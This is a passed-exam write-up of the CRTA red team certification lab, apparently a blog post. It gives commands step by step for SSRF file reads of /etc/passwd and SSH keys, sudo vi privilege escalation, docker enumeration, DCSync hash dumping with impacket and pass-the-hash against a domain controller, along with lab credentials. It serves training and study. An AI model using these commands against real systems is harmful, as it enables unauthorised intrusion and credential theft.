CRTA Exam Writeup — Passed | CyberWarFare Labs

Shikhali Jamalzade — Fri, 12 Jun 2026 21:59:54 +0000

Introduction
The CRTA exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don't pass.
The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller's Administrator Desktop.
This writeup documents the full attack chain I used to pass the exam — step by step. If you're preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.

Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.

Exam Environment
VPN Scope: 172.26.10.0/24
Out of scope: 172.26.10.1 (gateway — do not touch)
Initial target: 172.26.10.11
Internal network: 10.10.10.0/24 (discovered later)
Domain Controller: 10.10.10.100

Phase 1 — Reconnaissance
Network Discovery
bashnmap -sn 172.26.10.0/24
This revealed one live host: 172.26.10.11
Port Scanning
bashnmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt
Key open ports:
22/tcp SSH (OpenSSH)
23100/tcp HTTP (Python Flask application)
8091/tcp HTTP (HotHost monitoring service)

Phase 2 — Web Application Analysis
Flask App on Port 23100
Exploring the routes revealed a critical endpoint: /fetch
This endpoint accepted a URL parameter and fetched its content — a classic SSRF setup.
bashcurl "http://172.26.10.11:23100/fetch?url=http://127.0.0.1/"
SSRF → Local File Read
The SSRF vulnerability allowed using the file:// URI scheme to read files from the host filesystem:
bashcurl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"
This returned /etc/passwd of the host machine — not just the container. A critical user was revealed:
app-admin❌1001:1001::/home/app-admin:/bin/bash
Continuing to read sensitive files:
bashcurl "http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa"
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"
Plaintext password found: app-admin : @dmin@123

Phase 3 — Initial Access via SSH
bashssh app-admin@172.26.10.11
Shell obtained.

Phase 4 — Privilege Escalation
bashsudo -l
Output:
User app-admin may run the following commands on this host:
(ALL : ALL) NOPASSWD: /usr/bin/vi
vi with NOPASSWD — textbook GTFOBins escalation:
bashsudo /usr/bin/vi -c ':!/bin/bash'
Root shell obtained on 172.26.10.11.

Phase 5 — Docker Container Enumeration
bashdocker ps
Two containers running: HotHost monitoring service (port 8091) and the Flask SSRF app (port 23100).
bashdocker exec -it /bin/bash
cat /hothost.json
hothost.json contained an MD5 hash: 665a26fad71ea9ef3edf5f33195d4b31
Base64 of Binary Hash (Flag)
bashecho "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64
Result: Zlom+tceqe8+318zGV1LMQ==

Key lesson: The exam asks for Base64 of the binary representation of the MD5 hash — not Base64 of the hex string.

Phase 6 — Lateral Movement & Network Pivoting
Discovering the Internal Network
bashcat /var/log/auth.log | grep "Accepted"
A recurring internal IP appeared: 10.10.10.20
Enumerating 10.10.10.20
bashnmap -sV -p- 10.10.10.20 --min-rate 3000
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt
The /elfinder directory was discovered — a file manager interface containing AD_Resources.txt:
sync_user@ent.corp / Summer@2025

Phase 7 — DCSync Attack
bashimpacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100
Critical hashes extracted:
krbtgt:502:...::::
Administrator:500:...::::
The krbtgt NT hash is itself a flag in the exam.

Phase 8 — Pass-the-Hash → Administrator Access
bashsmbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash
bashsmb: > cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop> get secret.xml.txt
secret.xml.txt retrieved. Exam objective complete.

Attack Chain Summary
[VPN] → Nmap → 172.26.10.11
↓
[Port 23100] Flask /fetch → SSRF
↓
[SSRF] file:///hostfs → credentials (app-admin:@dmin@123)
↓
[SSH] app-admin@172.26.10.11
↓
[sudo vi] GTFOBins → ROOT
↓
[Docker] HotHost → hothost.json → MD5 hash
↓
[auth.log] → 10.10.10.20
↓
[10.10.10.20] /elfinder → AD_Resources.txt → sync_user creds
↓
[DCSync] impacket-secretsdump → krbtgt + Admin NT hashes
↓
[PtH] smbclient → secret.xml.txt ✅

Lessons Learned
SSRF isn't just about HTTPS. Test file:// too. The hostfs prefix to escape Docker containers is a classic lab trick.
GTFOBins is not optional. sudo -l should be your second command after gaining any shell.
Log files are goldmines. /var/log/auth.log revealed the internal network.
Hash math matters. Always confirm what encoding format the question is asking for.
DCSync requires specific privileges. When you find AD credentials, check what they can actually do before assuming they're useless.

Final Thoughts
CRTA is a well-constructed exam for anyone entering Active Directory offensive security. The attack chain feels realistic: web app → SSRF → SSH → privesc → lateral movement → DCSync → domain admin.
If you're preparing: be comfortable with SSRF exploitation, Docker container awareness, impacket tooling, and GTFOBins. Everything else follows from those foundations.

Shikhali Jamalzade | Red Team Practitioner | Baku, Azerbaijan
GitHub: github.com/alisalive | Portfolio: alisalive.vercel.app | LinkedIn: linkedin.com/in/camalzads

DEV Community: Shikhali Jamalzade

CRTA Exam Writeup — Passed | CyberWarFare Labs